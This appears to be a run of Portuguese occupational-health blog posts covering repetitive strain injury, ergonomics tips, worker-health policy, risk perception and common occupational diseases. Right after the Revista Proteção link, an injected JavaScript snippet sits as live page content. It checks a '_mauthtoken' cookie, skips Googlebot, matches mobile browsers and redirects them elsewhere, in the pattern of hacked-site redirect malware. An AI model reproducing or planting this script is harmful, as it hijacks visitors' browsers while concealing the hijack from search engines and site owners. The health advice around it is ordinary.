LER – Lesão por Esforço Repetitivo
Esse tipo de lesão é muito comum e é causada, como o nome diz, pelas repetições de movimentos. Alguns trabalhos exigem, de quem o executa, atividades repetitivas por muitas horas seguidas. Isso a longo prazo, traz consequências e uma delas é lesão.
As atividades como digitação, condução de caminhão ou simplestement corte e custura, podem levar os trabalhadores a apresentar dores fortes nas mãos e coluna, por exemplo. Consequentemente, há a incapacidade de continuar a exercer sua função profissional com o mesmo desempenho, o que caracteriza um acidente de trabalho.
Para prevenir o trabalhador de danos causados à saúde por causa de sua atividade profissional, existe uma ciência, a ergonomia, que visa criar métodos para proporcionar um ambiente mais saudável e o exercício da ginástica labobal.
As principais medidas são voltadas para que o trabalhador possa exercitar sua postura corporal de acordo com a disposição correta de sua ferramentas de trabalho, ou seja, o local deve oferecer conforto, para evitar problemas no futuro.
http://medicina-ocupacional.info/mos/view/O_que_%C3%A9_Medicina_Ocupacional/
1º WORKSHOP REDE L10 CENTER
No dia 12 de abril, aconteceu na Unidade Lafaiete, o 1°Workshop da Rede L10 Center. Foram apresentadas palestras, depoimentos e dinâmicas, das quais enriqueceu de maneira efetiva a equipe e os convidados que compareceram ao evento.
A programação contou com palavras bem elaboradas e criativas do nosso Gerente da Unidade São Brás do Suaçuí o Sr. José João da Silva Henriques, o qual compartilhou sua rica experiência profissional .
Seguindo Dr. Giovanny Laporte de Oliveira( Sócio e Médico do Trabalho da Rede L10 Center), propiciou temas relacionados ao dia a dia de trabalho, com informações e orientações sobre a saúde do trabalhador.
Os convidados Sr. Filipe Negreiros( Engenheiro da Empresa Odebrecht Ambiental) e Sr. Diego Oliveira e Silva(Engenheiro e Líder de Equipe da Empresa Odebrecht Ambiental), vieram trazer suas experiências e conhecimentos de trabalho.
O convidado palestrante Sr. Paulo Jorge( Assessor de Saúde), relatou fatos relacionados ao ambiente de trabalho e 0 exercício profissional como todo.
O Sr. Charles Salles(Técnico em Segurança do Trabalho e Sócio da Rede L10 Center), contemplou o evento sobre melhorias nas técnicas de trabalho e medidas de evolução.
O Sr. Reni Fagundes (Enfermeiro do trabalho da Rede L10 Center), expôs seu conhecimento sobre saúde ocupacional, com apresentação de planilhas e indicadores de saúde para gestão de serviços da Rede L10 Center.
A Srta. Nathália Bittencourt (Gerente da Unidade Conselheiro Lafaiete), e a Sra.Elaine Santana (Gerente da Unidade Congonhas), explanaram sobre a rotina de trabalho, bem como posturas adotadas no atendimento ao cliente.
A Convidada Dra. Adriana Bartolomeu (Psicóloga e Sócia proprietária da empresa Dinâmica), trouxe ao evento seu vasto conhecimento em organização e sinergismo no ambiente de trabalho.
A presença da Diretora da Mary Key Sra. Luana, proporcionou o conhecimento trazido de uma organização ampla, bem como, alguns mimos aos participantes com a presença de suas consultoras.
O encerramento ficou por conta do Sr. Bernardo Correia ( Sócio da Rede L10 Center), que enfatizou de maneira objetiva os assuntos expostos pelos palestrantes.
O evento contou com a presença de um número considerável de pessoas que demonstraram vasta satisfação pela qualidade e entrosamento entre os participantes.
Os organizadores afirmaram que este foi apenas o primeiro de vários outros eventos que a rede ira realizar para melhorar a cada dia sua qualidade de atendimento e satisfação dos clientes.
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O QUE É SAÚDE DO TRABALHADOR?
A Saúde do Trabalhador constitui uma área da Saúde Pública que tem como objeto de estudo e intervenção as relações entre o trabalho e a saúde. Seus objetivos prioritários são a promoção e a proteção do trabalhador, traduzida nas ações de vigilância dos riscos presentes nos ambientes e condições de trabalho, bem como a vigilância dos agravos (acidentes e doenças) decorrentes. Preocupa-se também com a organização e prestação dos serviços assistenciais aos trabalhadores vitimados com agravos decorrentes do trabalho, compreendendo procedimentos de diagnóstico, tratamento, notificação e reabilitação de forma integrada e regionalizada no SUS.
Trabalhadores são todos os homens e mulheres que exercem atividades para sustento próprio e/ou de seus dependentes, qualquer que seja sua forma de inserção no mercado de trabalho, nos setores formais ou informais da economia. Estão incluídos nesse grupo os indivíduos que trabalharam ou trabalham como empregados assalariados, trabalhadores domésticos, trabalhadores avulsos, agrícolas, autônomos, públicos, cooperativados e empregadores – particularmente, os proprietários de micro e pequenas unidades de produção. São também considerados trabalhadores aqueles que exercem atividades não remuneradas – habitualmente em ajuda a membro da unidade domiciliar que tem uma atividade econômica, os aprendizes e estagiários e aqueles, temporária ou definitivamente, afastados do mercado de trabalho por motivo de doença, aposentadoria ou desemprego.
A Saúde do Trabalhador aos poucos vem sendo incorporada às ações do Sistema Único de Saúde – SUS. Após a definição do conceito ampliado de saúde na Constituição de 1988 e Lei Orgânica da Saúde 8.080, de 1990, o SUS assume a responsabilidade em coordenar essas ações sob o título de Saúde do Trabalhador.
Em condições práticas, as ações de Saúde do Trabalhador apresentam dimensões sociais, políticas e técnicas indissociáveis. Como conseqüência, esse campo de atuação tem interfaces com o sistema produtivo e a geração de riqueza, a formação e o preparo da força de trabalho, as questões ambientais e a seguridade social. As ações de saúde do trabalhador estão ainda integradas com as de saúde ambiental, uma vez que os riscos gerados nos processos de trabalho podem afetar, também, o meio ambiente e a população em geral.
Entre os determinantes da Saúde do Trabalhador estão compreendidos os condicionantes macro estruturais vinculados às questões sociais, políticas, econômicas e tecnológicas, além daqueles inerentes aos processos e ambientes de trabalho, tais como os fatores de riscos ocupacionais – físicos, químicos, biológicos, mecânicos, ergonômicos - e aqueles decorrentes da organização laboral . Portanto, as ações de Saúde do Trabalhador têm como foco as mudanças nos processos de trabalho que contemplem as relações saúde-trabalho-doença em toda sua complexidade, por meio de uma atuação interdisciplinar, intersetorial e multiprofissional.
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Doenças ocupacinais podem ser evitadas com alongamentos diários
O número de brasileiros que dedicam cada vez mais parte do seu tempo ao trabalho aumenta constantemente. Além disso, com a facilidade das novas tecnologias, como os tablets e os smartphones, as pessoas levam funções do trabalho para serem feitas em casa e também acabam não se desconectando totalmente durante o período em que tiram férias, o que pode prejudicar a saúde mental e física do corpo.
Esta sobrecarga nas atividades pode levar ao surgimento das doenças ocupacionais, que são diretamente relacionadas às atividades desempenhadas pelo trabalhador. São mais comuns as Lesões por Esforços Repetitivos (LER) ou Distúrbios Osteomoleculares Relacionados ao Trabalho (DORT), que englobam cerca de 30 doenças, como por exemplo, tendinite (inflamação de tendão) e tenossinovite (inflamação da membrana que recobre os tendões).
Decorrentes de movimentos repetitivos, posturas inadequadas, sobrecarga mental, ritmo intenso de trabalho, pressão por produção e estímulo à competitividade, as Lesões por Esforços Repetitivos podem se desenvolver em homens e mulheres, geralmente nas fases mais produtivas profissionalmente.
Os sintomas característicos percebidos são dor, que pode se tornar crônica com o tempo, sensação de formigamento, fadiga muscular e cansaço, podendo se agravar e caracterizar também alguns fatores psicológicos como depressão e afastamento das relações sociais.
“Uma importante recomendação é ater-se para as tarefas realizadas nos diferentes ambientes, seja doméstico, trabalho ou atividades de lazer, bem como revisar o local quanto aos fatores ergonômicos, como a iluminação, temperatura, mobiliário, posições adotadas e postura nas tarefas realizadas”, sugere Tânia Fleig, fisioterapeuta da Mercur.
Segundo pesquisa realizada pela empresa Regus em 2011, 43% dos profissionais do Brasil dedicam entre nove e onze horas diárias ao trabalho e 17%, mais de onze horas. A profissional recomenda que sejam introduzidas pausas no ambiente de trabalho e atividades como a ginástica laboral, e mudança de hábitos para um estilo de vida mais saudável.
“São indicados exercícios de alongamento e automassagem que podem ser realizados no início, meio ou final do expediente, ou ainda em casa, utilizando dispositivos como faixas elásticas, bolinhas de massagem, entre outros”, afirma Tânia.
Confira abaixo, mais algumas dicas concedidas pela fisioterapeuta:
Para quem trabalha sentado:
-O ideal é que a planta de seus pés esteja toda apoiada no chão, com os joelhos flexionados a 90º. Tenha cuidado para não exercer pressão entre a região posterior dos joelhos e a cadeira, pois isto comprime os vasos sanguíneos e dificulta o retorno venoso das pernas, contribuindo para formações de varizes e causando dor e formigamento nas pernas e pés. Se necessário utilize um apoio para os pés.
-Utilize cadeiras giratórias e evite realizar movimentos rotacionais bruscos com o pescoço e tronco. O mais adequado é levantar-se da cadeira ou girá-la.
-Procure levantar a cada 30 minutos, pois uma rápida caminhada estimula o retorno venoso das pernas através da contração muscular. Lembre-se de alongar braços, tronco e pernas pelo menos três vezes durante seu expediente.
-Aproxime sua cadeira da mesa, evitando flexionar seu tronco ou a cabeça para digitar e mantenha as costas bem apoiadas no encosto da cadeira.
-Para quem trabalha com computador, o ideal é manter o monitor a uma distância entre 45 a 75 cm dos olhos, regulando sua altura à linha de visão.
Para quem trabalha em pé:
-O ideal é usar calçados confortáveis, macios e sem saltos. Em muitos ambientes de trabalho o uso de calçados fechados é obrigatório. Se este for o caso e se os pés costumam ficar inchados ao longo do dia, uma dica é não apertá-los muito, deixando um pouco de folga para os pés dentro dos sapatos.
-Procure alternar a posição de apoio sobre uma perna e outra, e sempre que possível, dê pequenas caminhadas e realize movimentos circulares com os pés para estimular a circulação sanguínea e minimizar as dores, desconfortos, inchaço e o aparecimento de varizes.
-Procure ficar em postura ereta, evite ficar inclinado para frente ou para os lados por muito tempo. Para quem utiliza mesas ou bancadas para manusear peças e/ou objetos, o ideal é que estas estejam a uma altura próxima a do umbigo e próximas ao corpo. Procure manter os cotovelos flexionados a aproximadamente 90º e os ombros relaxados, isto ajuda a evitar tensões musculares na região cervical, nos ombros e costas.
-Para pegar algum objeto no chão, procure flexionar os joelhos agachando ao invés de curvar-se para frente. Ao carregar algum objeto pesado, como uma caixa, por exemplo, procure mantê-lo próximo ao corpo, com os cotovelos flexionados.
Para Alongar:
-Em pé ou sentado, com a postura ereta e mãos na cintura, aproxime a orelha do ombro, incline a cabeça para a direita e para a esquerda, permanecendo em cada posição por 15 segundos.
-Com a postura ereta, suba os ombros, aproximando-os das orelhas e em seguida relaxe. Repita essa movimentação por 10 vezes.
-Em pé ou sentado, abra e feche a mão alternadamente, repetindo por 10 vezes.
-Sentado mais à frente na cadeira, mantenha uma perna flexionada e apoiada no solo e a outra esticada a frente e com o calcanhar apoiado. Curve para frente tentando alcançar com a mão a ponta do pé no lado da perna esticada. Este alongamento também pode ser realizado em pé, permaneça em cada posição por 15 segundos.
-Para realizar o relaxamento muscular, utilize uma bolinha de massagem e realize movimentos circulares exercendo leve pressão na região cervical, ombros, braços, região lateral dos cotovelos e punhos.
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Percepção de risco deve ser trabalhada para evitar acidentes de trabalho, afirma artigo
Data: 09/01/2014 / Fonte: Revista Proteção
Há quem sustente que as pessoas decidem aceitar um determinado nível de risco para manter certo nível de conforto e que o risco zero não existe, pois risco zero significa ganho zero. Arriscar-se faz parte da natureza humana e tem a ver com a vontade de ganhar algo. O desejo de possuir uma cultura de segurança robusta, muitas vezes, vira sonho quando se esbarra em um cotidiano no qual normalmente aceitam-se riscos elevados.
Cultura de segurança, em uma definição simples, significa “a forma como as coisas ligadas à segurança são feitas no local”. Compreende os valores e crenças e a maneira como elas interagem com a estrutura organizacional, seja formal ou não.
Tem a ver também com o modo como as pessoas lidam com os riscos, como os percebem e os aceitam. A percepção dos riscos aparece como fator humano recorrente em muitas investigações de acidentes e desafia os gestores em atividades perigosas a reduzir os acidentes de forma geral, incluindo os de trabalho e os de trânsito.
É possível modificar o comportamento das pessoas para que posicionem adequadamente o seu nível de aceitação para os riscos que correm no cotidiano? Sabe-se que cada um dá o seu significado para um determinado risco, independentemente do que os outros definam, mesmo sendo especialistas no assunto.
O significado do risco está intimamente ligado a duas variáveis importantes: a gravidade do incidente e a sua probabilidade de ocorrência. Mas o cérebro se preocupa muito pouco com a probabilidade, como explica Amanda Ripley no seu brilhante livro The unthinkable – Who survives when disaster strikes – and why (em tradução livre, “O impensável – Quem sobrevive quando ocorre um desastre – e por quê”).
Amanda Ripley magistralmente traz à luz uma verdade incontestável: “flertamos desavergonhadamente com o risco”. As pessoas usam atalhos emocionais, de acordo com a pesquisa comentada por ela. Não levam em conta a chance de um evento dramático ocorrer. Quanto maior a incerteza, maiores os atalhos, que são gatilhos para os erros.
Não saem por aí como avaliadores de riscos, calculando probabilidades para os desastres que podem sofrer. Esta é a visão calibrada de Paul Slovic, um dos mais reconhecidos especialistas quando se fala em risco percebido.
Amanda Ripley conta como Rick Rescorla, herói do Vietnã em 1965, tornou-se também herói em 2001. Ele previu o primeiro atentado à bomba no World Trade Center, em Nova Iorque, Estados Unidos, e também possíveis ataques com aviões. Por isso, ensinou aos empregados da Morgan Stanley a se salvarem na tragédia de 11 de Setembro.
Quando uma torre desabou, apenas 13 colegas da Morgan Stanley, incluindo Rescorla e quatro de seus funcionários da segurança, estavam lá dentro. Antes Rescorla havia retirado, de 20 andares, 2.687 pessoas que sobreviveram.
O livro de Amanda Ripley é obrigatório para quem lida com planos de emergências e aconselhável para quem anda de avião ou se aventura em cruzeiros e transatlânticos, como o Costa Concordia que adernou em 13 de janeiro de 2012 na costa da Itália.
Despreparo
Você, que mora ou trabalha em um edifício, já tentou procurar de olhos fechados a porta no seu andar que dá acesso à escada de emergência? Tem praticado, algumas vezes por ano, descer a escada de emergência? Ao embarcar em um avião, você conta as fileiras à frente ou atrás da sua até a saída de emergência? Você acha que vai enxergar algo dentro de um avião superlotado de fumaça?
Artigo de José Luiz Lopes Alves, Engenheiro Químico (UFRGS), mestre em Qualidade (Unicamp) e doutor em Engenharia (USP)
http://www.protecao.com.br/noticias/leia_na_edicao_do_mes/percepcao_de_risco_deve_ser_trabalhada_para_evitar_acidentes_de_trabalho,_afirma_artigo/AJjgJaji/5827if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}
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10 principais problemas de saúde desenvolvidos no trabalho
Data: 10/02/2014 /
Fonte: iBahia
Ao contrário de uma dor de cabeça ou gripe que surge após um período intenso de trabalho, alguns problemas de saúde podem estar relacionados ao desempenho da atividade profissional que dão ao trabalhador, do ponto de vista legal, os mesmos direitos de um acidente de trabalho. De acordo com Eduardo Jesuísno, Médico do Trabalho, para que um problema de saúde seja considerado uma doença ocupacional, o trabalho deve ter o vínculo nexo causal, ou seja, causa e efeito específico na situação. O médico alerta que certas doenças ocupacionais aparecem de forma silenciosa. “Algumas doenças só aparecem [após] 10 ou 15 anos de trabalho e acabam fazendo tamanho estrago que, muita vezes, a pessoa não tem condições de voltar para o trabalho, seja pelas limitações decorrentes da própria doença ou por ser o único local que o trabalhador consiga desenvolver atividades e isso [retornar para este único local] acabaria agravando a doença”, disse. Ele informou que pessoas que sofreram alguma doença no trabalho e tiveram que ser afastadas têm o direito de receber até 40% do salário base durante o período de afastamento. Para esse benefício, deve-se comprovar a ligação que a doença tem com o trabalho através de perícia no Instituto Nacional do Seguro Social (INSS), e ter, no mínimo, 12 anos de contribuição previdenciária. Em entrevista ao iBahia, o médico listou as 10 principais doenças que podem ser desenvolvidas no trabalho. Confira abaixo e fique atento a possíveis alterações em sua saúde: LER/DORT (Lesão por Esforços Repetitivos/ Distúrbios Osteomusculares Relacionados ao Trabalho) Provocada por movimentos repetitivos ou por posturas inadequadas, chamadas de posturas anti-ergonômicas. Deve-se ter cuidado no diagnóstico, pois muitas pessoas confundem a LER com uma simples torção ou mal posicionamento em algum movimento. Antracose Lesão pulmonar ocasionada por diferentes agentes que são adquiridos nas áreas de carvoarias. A doença pode ser o ponto de partida para outros problemas ainda mais graves e afeta, principalmente, os trabalhadores que têm contato direto com a fumaça do carvão. Bissinose Doença causada pela poeira das fibras de algodão, que afeta principalmente as pessoas que trabalham na indústria algodoeira. Surdez temporária ou definitiva Quando o trabalhador está exposto em uma área ruídos constantes, ele começa a perder a sensibilidade auditiva e isso pode se tornar irreversível. A perda auditiva se torna definitiva de forma lenta, silenciosa e prolongada. É mais comum entre operários de obras de construção que utilizam equipamentos que emitem ruídos e operadores de telemarketing. Dermatose ocupacional Pessoas que trabalham com graxa ou óleo mecânico podem desenvolver reações alérgicas crônicas, de forma que a pele cria placas. Câncer de pele Pessoas que trabalham, por exemplo, em lavouras, têm grandes chances de desenvolver o câncer de pele devido à excessiva exposição ao sol. A doença é bastante comum no Brasil, mas só pode ser considerada ocupacional se estiver relacionada à atividade profissional desenvolvida. Uma pessoa que trabalha em um escritório, sem se expor ao sol, por exemplo, pode ter o câncer de pele por outros e não terá assistência do INSS. Siderose Pessoas que trabalham nas minas de ferro acabam inalando partículas microscópicas de ferro. Estas partículas acabam se alojando nos bronquíolos, provocando falta de ar constante. Catarata Quem trabalha em lugares de altas temperaturas pode desenvolver a perda do cristalino, ocasionando a cegueira. Assim como o câncer de pele, a doença atinge uma parcela significativa da população brasileira, principalmente os idosos, e precisa ter relação direta com o trabalho para ser considerada ocupacional. Doenças por função Pessoas que trabalham com alimentos, por exemplo, podem se contaminar pelos produtos orgânicos que são utilizados. Doenças psicossociais Problemas como depressão, ou de outra ordem emocional, muitas vezes estão associados a carga horária excessiva, a pressão no trabalho, ou algum desentendimento na área de trabalho. Elas podem acabar desenvolvendo no trabalhador um desânimo prolongado no convívio de trabalho, ocasionando uma tristeza profunda.
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25 Dicas Ergonômicas para Usuários de Computradores
Material de autoria da UCLA, traduzido e publicado na AreaSeg sob permissão.
O uso prolongado de teclado ou mouse pode levar a dores nos músculos e nervos a menos que algumas orientações sejam seguidas. Trabalho intenso no computador sem alternância, pausas para descanso e mudanças de postura pode ser prejudicial. É possível trabalhar com maior segurança e conforto adotando-se as seguintes dicas ergonômicas: Postura e Posição São Importantes
- Mantenha boa postura quando usar o teclado. Use uma cadeira que tenha suporte para as costas.
- Mantenha seus pés apoiados no chão ou em um suporte apropriados para apoiar os pés. Isso ajuda a reduzir a pressão sobre as costas.
- Evite girar ou inclinar o tronco ou o pescoço ao trabalhar. Itens de uso freqüente devem ser posicionados diretamente a sua frente em um anteparo para cópias.
- Mantenha seus ombros relaxados, com os cotovelos junto ao corpo.
- Evite apoiar seus cotovelos em superfície dura ou na mesa. Use pequenas almofadas se necessário
- O antebraço deve ficar alinhado em angulo de 100 a 110 graus com o teclado de modo a ficar em posição relaxada. Isso requer que o teclado fique em posição inclinada (a parte de trás do teclado, que fica mais próxima a você deve ficar mais alta que a parte da frente, isto é, a que fica mais próxima ao monitor) durante o trabalho.
- Os pulsos devem ficar em posição neutra ou reta ao digitar ou se usar algum dispositivo de apontamento ou calculadora. Movimente seus braços sobre o teclado e os apoios para os pulsos enquanto digita. Evite permanecer com os cotovelos sobre a mesa ou os apoios. Isso evita que os pulsos sejam forçados a assumir posições para cima, para baixo e para os lados. Ritmo de Trabalho
- Trabalhe em ritmo razoável .
- Faça pausas freqüentes durante o dia. Estas pausas podem ser breves e incluir alongamento para otimizar os resultados. Se possível, dê 1 ou 2 minutos de pausa a cada 15 ou 20 minutos e 5 minutos a cada hora. A cada duas ou três horas levante-se, de uma volta e faça uma atividade alternativa. Técnica de Trabalho
- Diminua o número de movimentos repetitivos. Isto pode ser feito com auxilio de teclas de atalho e com o uso de programas especiais para esse fim. O uso de combinações de teclas também em muito contribui para reduzir o uso do mouse e de cliques.
- Altere as tarefas a fim de não permanecer com o corpo na mesma posição, por tempos prolongados, durante o trabalho.
- Mantenha seus dedos e articulações relaxadas enquanto digital.
- Nunca segure caneta ou lápis nas mãos enquanto estiver digitando.
- Evite bater no teclado com muita força. Suas mãos devem ficar relaxadas. Estudos mostram que a maioria dos usuários bate no teclado com força 4 vezes maior que o necessário
- Descanse seus olhos olhando, de vez em quando, para objetos diferentes enquanto trabalha. Ambiente de Trabalho
- Evite perder tempo procurando coisas enquanto digita.
- Seus apontamentos, arquivos e telefones devem estar em lugar de fácil acesso.
- Use um apoio para o teclado e para o mouse de modo a posicioná-los corretamente.
- Para facilitar a cópia de textos use um anteparo de prender folhas.
- Quando você estiver escrevendo algo no computador, evite procurar coisas sobre o teclado ou outros materiais. Um anteparo para colocar o material a ser copiado ajudar bastante.
- Ajuste e posicione o monitor de modo que ao olhar para ele seu pescoço fique em posição nutra ou reta. O monitor deve ficar diretamente a sua frente. A parte superior da tela deve estar diretamente à frente de seus olhos de modo que ao olhar para ela você olhe levemente para baixo.
- Regule o monitor de modo a evitar brilho excessivo. Evite também reflexos de janelas e outras fontes luminosas.
- Personifique seu computador. O tipo de letra, o contraste, a velocidade e tamanho do ponteiro do mouse e as cores da tela podem ser configuradas para melhor conforto e eficiência. Estilo de Vida
- Exercícios aeróbicos ajudam a manter a forma física, aumentar a resistência cardiovascular e diminuir a tensão dos usuários de computadores
- Uso de medicamentos e ou munhequeiras para os pulsos sem receita e acompanhamento médico não são recomendados. Se você começar a apresentar sintomas, procure mais informações e ajuda de seu médico. Pequenas mudanças feitas logo que se notar os primeiros sintomas podem evitar complicações futuras em muitos casos.
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DICAS PARA QUE O FONE DE OUVIDO NÃO PREJUDIQUE A AUDIÇÃO
- Deixe o volume do aparelho sonoro na metade.
- O som que sai dos fones nunca pode ser ouvido pelas pessoas que estão a sua volta.
- Limpe sempre o fone para evitar que seja contaminado por bactérias.
- Não compartilhe fone de ouvido com outras pessoas, pois pode transmitir infecção.
- O fone deve ser guardado dentro de algum recipiente para que não seja contaminado por bactérias.
- Evite usá-lo apena em um dos ouvidos, para evitar que você aumente o volume.
- O uso do fone intra- auricular, aqueles que são introduzidos no canal auditivo, geralmente levam maior intensidade ao seu ouvido.
- Não usar o fone por um período de tempo excessivo.
- Não durma ouvindo musica.
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Poluição do ar é classificada como cancerígena pela OMS
Conclusão é da Agência Internacional de Pesquisas sobre o Câncer.
Segundo agência, o ar tem sido contaminado por ‘mistura de substâncias’.
A Agência Internacional de Pesquisas sobre o Câncer (IARC), vinculada à Organização Mundial da Saúde (OMS), anunciou nesta quinta-feira (17) a classificação da poluição do ar exterior como cancerígena, de acordo com a AFP.
“O ar que respiramos tem sido contaminado por uma mistura de substâncias que provoca câncer”, afirmou Kurt Straif, chefe da seção de monografias da IARC. “Agora sabemos que a contaminação do ar exterior não apenas é um risco maior para a saúde em geral, mas também uma causa ambiental de mortes por câncer”.
“Os especialistas concluíram que existem provas suficientes de que a exposição à poluição do ar provoca câncer de pulmão. Também notaram uma associação com um risco maior de câncer de bexiga”, destacou a IARC em um comunicado.
Apesar da possibilidade de variação considerável na composição da contaminação do ar e dos níveis de exposição, a agência destacou que suas conclusões se aplicam a todas as regiões do mundo. Os dados mais recentes da agência mostram que, em 2010, mais de 223 mil pessoas morreram de câncer de pulmão relacionado à poluição do ar.
Em nota divulgada após uma semana de reuniões entre especialistas que revisaram a literatura científica mais recente, a IARC disse que a poluição atmosférica ao ar livre e o material particulado – um importante componente da poluição – devem passar a ser classificados como agentes carcinogênicos do Grupo 1, segundo informações da Reuters.
Essa classificação abrange mais de cem outros agentes cancerígenos conhecidos, como o amianto, o plutônio, a poeira de sílica, a radiação ultravioleta e o cigarro.
A classificação já abrangia também muitas substâncias habitualmente encontradas no ar poluído, como a fumaça dos motores a diesel, solventes, metais e poeiras. Mas esta é a primeira vez que os especialistas classificam o próprio ar poluído dos ambientes externos como uma causa do câncer.
“Nossa tarefa foi avaliar o ar que todos respiram, em vez de focar em poluentes específicos do ar”, disse Dana Loomis, subdiretora da seção. “Os resultados dos estudos revistos apontam na mesma direção: o risco de desenvolver câncer de pulmão é significativamente maior em pessoas expostas à poluição atmosférica.”
Christopher Wild, diretor da agência, disse que a classificação da poluição atmosférica como um agente carcinogênico é um passo importante no sentido de alertar os governos sobre os perigos e os custos em potencial.
“Há formas muito eficientes de reduzir a poluição atmosférica e, dada a escala da exposição que afeta as pessoas no mundo todo, este relatório deveria passar um forte sinal à comunidade internacional para agir.”
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Lista de doenças ocupacionais mais comuns
Uma grande variedade de doenças respiratórias também é, muitas vezes, de origem ocupacional.
A exposição ocupacional contribui para a morbidade e a mortalidade de muitas pessoas que atuam no setor industrial. No entanto, as doenças ocupacionais continuam a ser responsáveis por um número estimado de 860.000 doenças e 60.300 mortes por ano. A Medicina do Trabalho, dentro do setor de segurança do trabalho, pode desempenhar um papel importante na melhoria do reconhecimento de doença profissional, na prevenção de doenças progressivas e na incapacidade dos próprios pacientes, contribuindo para a proteção de outros trabalhadores similarmente expostos. Este papel pode ser maximizado se os médicos elevarem seu nível de conhecimento em relação às doenças às quais os trabalhadores estão expostos, estabelecendo um acesso sistemático aos recursos de saúde ocupacional.
Conheça a lista de doenças ocupacionais mais comuns
Distúrbios Osteomusculares
Pacientes com distúrbios osteomusculares envolvendo o braço e o pescoço freqüentemente procuram atendimento médico. Tarefas de trabalho contribuem para os sintomas em uma proporção significativa desses pacientes. Mais de 60 por cento de relatos de doenças ocupacionais são relacionados aos distúrbios osteomusculares de vários tipos. Diagnósticos específicos, como a compressão do nervo localizado (por exemplo, síndrome do túnel carpal), tendinite (epicondilite, por exemplo, lateral, e tendinite de Quervain), tensão muscular e síndromes de dor regional, têm sido associados com trabalhos em todos os setores da economia. Força de repetição, posturas estáticas, vibração, velocidade de trabalho e tarefas restritas são fatores ocupacionais que podem contribuir para o desenvolvimento destas doenças.
Doenças Respiratórias
Uma grande variedade de doenças respiratórias também é, muitas vezes, de origem ocupacional. A pneumoconiose devido à inalação de sílica amianto, poeira ou outros materiais não-orgânicos deve ser considerada em pacientes que relatam dispnéia progressiva e tosse seca. Doenças das vias respiratórias, incluindo bronquite, rinossinusite e asma, têm sido cada vez mais reconhecidas como trabalhos que expõem o trabalhador a produtos perigosos.
Uma ampliada matriz de exposições tem sido associada à asma ocupacional relacionada com a possível exposição a alérgenos (por exemplo, pó de grão), irritantes respiratórios (por exemplo, dióxido de enxofre) ou substâncias agindo através de outros mecanismos (por exemplo, isocianatos). Menos frequentemente, a gripe recorrente ou a pneumonia podem realmente ser sintomas de hipersensibilidade por exposição ao mofo, a outros materiais orgânicos ou a determinados produtos químicos.
Distúrbios Neurológicos
O sistema nervoso é um alvo frequente de toxinas, incluindo solventes orgânicos (por exemplo, tolueno e hidrocarbonetos clorados), metais (como, chumbo e manganês) e pesticidas (incluindo os organofosforados). Uma doença chamada polineuropatia periférica pode ser causada por agentes como a cetona chumbo, butil metílico e pesticidas organofosforados. Mais comumente, a exposição crônica ao solvente orgânico é responsável por uma síndrome que causa dores de cabeça, fadiga, tonturas, dificuldades cognitivas e depressão.
Câncer e doenças cardíacas
Exposições ocupacionais também contribuem para uma percentagem notável de casos de câncer e têm sido cada vez mais reconhecidas como fatores para o desenvolvimento de doença arterial coronariana.
Doenças relacionadas ao estresse
